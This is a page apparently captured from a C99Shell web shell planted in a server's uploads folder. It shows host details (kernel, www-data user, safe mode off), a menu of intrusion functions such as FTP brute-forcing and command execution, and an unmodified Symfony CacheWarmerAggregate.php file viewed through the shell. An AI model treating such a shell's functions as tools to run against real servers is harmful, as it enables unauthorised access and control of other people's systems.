!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/symfony/http-kernel/CacheWarmer/   drwxr-xr-x
Free 13.3 GB of 57.97 GB (22.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CacheWarmerAggregate.php (3.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\CacheWarmer;

/**
 * Aggregates several cache warmers into a single one.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 *
 * @final
 */
class CacheWarmerAggregate implements CacheWarmerInterface
{
    private 
$warmers;
    private 
$debug;
    private 
$deprecationLogsFilepath;
    private 
$optionalsEnabled false;
    private 
$onlyOptionalsEnabled false;

    public function 
__construct(iterable $warmers = [], bool $debug falsestring $deprecationLogsFilepath null)
    {
        
$this->warmers $warmers;
        
$this->debug $debug;
        
$this->deprecationLogsFilepath $deprecationLogsFilepath;
    }

    public function 
enableOptionalWarmers()
    {
        
$this->optionalsEnabled true;
    }

    public function 
enableOnlyOptionalWarmers()
    {
        
$this->onlyOptionalsEnabled $this->optionalsEnabled true;
    }

    
/**
     * Warms up the cache.
     *
     * @return string[] A list of classes or files to preload on PHP 7.4+
     */
    
public function warmUp(string $cacheDir)
    {
        if (
$collectDeprecations $this->debug && !\defined('PHPUNIT_COMPOSER_INSTALL')) {
            
$collectedLogs = [];
            
$previousHandler set_error_handler(function ($type$message$file$line) use (&$collectedLogs, &$previousHandler) {
                if (
\E_USER_DEPRECATED !== $type && \E_DEPRECATED !== $type) {
                    return 
$previousHandler $previousHandler($type$message$file$line) : false;
                }

                if (isset(
$collectedLogs[$message])) {
                    ++
$collectedLogs[$message]['count'];

                    return 
null;
                }

                
$backtrace debug_backtrace(\DEBUG_BACKTRACE_IGNORE_ARGS3);
                
// Clean the trace by removing first frames added by the error handler itself.
                
for ($i 0; isset($backtrace[$i]); ++$i) {
                    if (isset(
$backtrace[$i]['file'], $backtrace[$i]['line']) && $backtrace[$i]['line'] === $line && $backtrace[$i]['file'] === $file) {
                        
$backtrace \array_slice($backtrace$i);
                        break;
                    }
                }

                
$collectedLogs[$message] = [
                    
'type' => $type,
                    
'message' => $message,
                    
'file' => $file,
                    
'line' => $line,
                    
'trace' => $backtrace,
                    
'count' => 1,
                ];

                return 
null;
            });
        }

        
$preload = [];
        try {
            foreach (
$this->warmers as $warmer) {
                if (!
$this->optionalsEnabled && $warmer->isOptional()) {
                    continue;
                }
                if (
$this->onlyOptionalsEnabled && !$warmer->isOptional()) {
                    continue;
                }

                
$preload[] = array_values((array) $warmer->warmUp($cacheDir));
            }
        } finally {
            if (
$collectDeprecations) {
                
restore_error_handler();

                if (
is_file($this->deprecationLogsFilepath)) {
                    
$previousLogs unserialize(file_get_contents($this->deprecationLogsFilepath));
                    
$collectedLogs array_merge($previousLogs$collectedLogs);
                }

                
file_put_contents($this->deprecationLogsFilepathserialize(array_values($collectedLogs)));
            }
        }

        return 
array_values(array_unique(array_merge([], ...$preload)));
    }

    
/**
     * Checks whether this warmer is optional or not.
     *
     * @return bool always false
     */
    
public function isOptional(): bool
    
{
        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0242 ]--